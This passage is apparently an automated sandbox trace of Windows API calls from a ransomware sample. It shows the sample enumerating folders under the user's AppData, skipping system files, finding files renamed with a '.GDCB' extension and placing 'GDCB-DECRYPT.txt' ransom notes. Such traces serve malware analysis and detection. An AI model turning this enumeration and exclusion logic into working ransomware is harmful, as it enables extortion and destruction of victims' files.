returned 91 [0135.644] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0135.644] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0135.644] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\GDCB-DECRYPT.txt") returned 91 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.644] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.644] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt" [0135.644] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.644] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0135.644] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0135.644] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0135.644] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.644] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.644] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.645] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0135.645] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0135.645] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.645] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.645] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned 58 [0135.645] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*" [0135.645] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.646] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.646] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.646] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.646] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.646] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.646] lstrcmpW (lpString1="Calendar insights.xltm.GDCB", lpString2=".") returned 1 [0135.646] lstrcmpW (lpString1="Calendar insights.xltm.GDCB", lpString2="..") returned 1 [0135.646] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Calendar insights.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB") returned 85 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="Cashflow analysis.xltm.GDCB", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="Cashflow analysis.xltm.GDCB", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Cashflow analysis.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB") returned 85 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="Email Insights.xltm.GDCB", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="Email Insights.xltm.GDCB", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Email Insights.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB") returned 82 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0135.647] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="LiveContent", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="LiveContent", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned 69 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="Normal.dotm.GDCB", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="Normal.dotm.GDCB", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Normal.dotm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB") returned 74 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx.GDCB", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx.GDCB", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Basic Flowchart.xltx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB") returned 99 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx.GDCB", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx.GDCB", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Cross-Functional Flowchart.xltx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB") returned 110 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="Stock symbols comparison.xltm.GDCB", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="Stock symbols comparison.xltm.GDCB", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Stock symbols comparison.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB") returned 92 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.647] lstrcmpW (lpString1="Welcome to Excel.xltx.GDCB", lpString2=".") returned 1 [0135.647] lstrcmpW (lpString1="Welcome to Excel.xltx.GDCB", lpString2="..") returned 1 [0135.647] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Welcome to Excel.xltx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB" [0135.647] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB") returned 84 [0135.647] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0135.647] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.647] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.648] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.648] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\\\GDCB-DECRYPT.txt") returned 75 [0135.648] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.650] GetLastError () returned 0x50 [0135.650] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.650] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned 58 [0135.650] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*" [0135.650] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7ac0 [0135.650] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Calendar insights.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB" [0135.650] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.650] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB") returned 85 [0135.651] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB") returned 85 [0135.651] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.651] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Cashflow analysis.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB" [0135.651] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.651] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB") returned 85 [0135.651] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.GDCB") returned 85 [0135.651] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.651] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Email Insights.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB" [0135.651] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.651] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB") returned 82 [0135.651] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.GDCB") returned 82 [0135.651] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.651] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt" [0135.651] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.652] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0135.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0135.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0135.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\GDCB-DECRYPT.txt") returned 74 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.652] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.652] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.652] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0135.652] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\" [0135.652] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.652] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.652] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.652] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.652] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.652] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned 70 [0135.652] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*" [0135.652] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7980 [0135.654] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.654] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.654] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.654] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.654] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.654] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0135.654] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0135.654] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0135.654] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned 72 [0135.654] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.654] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.654] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.654] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt" [0135.654] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0135.654] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.654] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.654] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.654] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.654] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\\\GDCB-DECRYPT.txt") returned 87 [0135.654] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\\\GDCB-DECRYPT.txt" (normalized: 